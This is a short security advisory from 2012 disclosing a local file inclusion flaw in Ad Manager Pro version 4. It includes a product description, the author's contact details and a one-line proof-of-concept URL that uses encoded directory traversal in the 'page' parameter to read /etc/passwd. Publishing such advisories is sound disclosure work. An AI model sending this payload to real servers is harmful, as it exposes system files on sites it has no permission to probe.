71 lines
No EOL
2.5 KiB
Text
71 lines
No EOL
2.5 KiB
Text
-=[--------------------ADVISORY-------------------]=-
|
|
|
|
Ad Manager Pro v. 4
|
|
Author: Corrado Liotta Aka CorryL [corryl80@gmail.com]
|
|
|
|
-=[-----------------------------------------------]=-
|
|
|
|
|
|
-=[+] Application: Ad Manager Pro
|
|
-=[+] Version: 4
|
|
-=[+] Vendor's URL: http://www.phpwebscripts.com/ad-manager-pro/
|
|
-=[+] Platform: Windows\Linux\Unix
|
|
-=[+] Bug type: LFI
|
|
-=[-]
|
|
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
|
|
-=[+] Facebook: https://www.facebook.com/CorryL
|
|
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
|
|
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
|
|
-=[+] WebSite: http://corryl80.blogspot.com/
|
|
|
|
...::[ Descriprion ]::..
|
|
|
|
Ad Manager Pro is the most complete ad management solution available.
|
|
You can use it to manage ads on your site(s), you also can sell
|
|
clicks, impressions and/or days range to advertisers and purchase
|
|
clicks and/or impressions from publishers. Features of this quality
|
|
system may bring you an interesting income.
|
|
You and your users have a real-time statistic for each ad (hourly,
|
|
daily, monthly statistic), also a graphical statistic is available.
|
|
Advertisers and publishers can order daily email reports. Each ad may
|
|
be used in multiple campaigns, each campaign has its own statistic and
|
|
configuration.
|
|
Support for classic banners (gif, jpg, png, swf), plain text/html ads,
|
|
ads from templates (Google AdWords style). You can display ads on
|
|
pages or in popup consoles. There are many ways to show ads on pages -
|
|
javascript, iframe, php include command. It lets you place the ads to
|
|
any webpage.
|
|
Option to load a new ad after a given number of seconds. Ads can be
|
|
targeted by countries,days,hours.
|
|
|
|
|
|
...::[ Bug ]::..
|
|
|
|
Local File Inclusion (also known as LFI) is the process of including
|
|
files on a server through the web browser.
|
|
This vulnerability occurs when a page include is not properly
|
|
sanitized, and allows directory traversal characters to be injected.
|
|
|
|
|
|
...::[ Proof Of Concept ]::..
|
|
|
|
http://remote-server/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
|
|
|
|
..::[ Disclousure Timeline ]::..
|
|
|
|
[23/08/2012] - Public Disclousure
|
|
|
|
--
|
|
Corrado Liotta A.k.a (CorryL)
|
|
Admin x0n3-h4ck Italian Security Team
|
|
Email: corryl80@gmail.com
|
|
Slype: corrado_liotta
|
|
Facebook: http://www.facebook.com/home.php/CorryL
|
|
Twitter: https://twitter.com/#!/CorradoLiotta
|
|
Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611
|
|
WebSite: http://corryl80.blogspot.com/
|
|
|
|
Specialist in:
|
|
Bug Hunting
|
|
Security Audits
|
|
Penetration Test |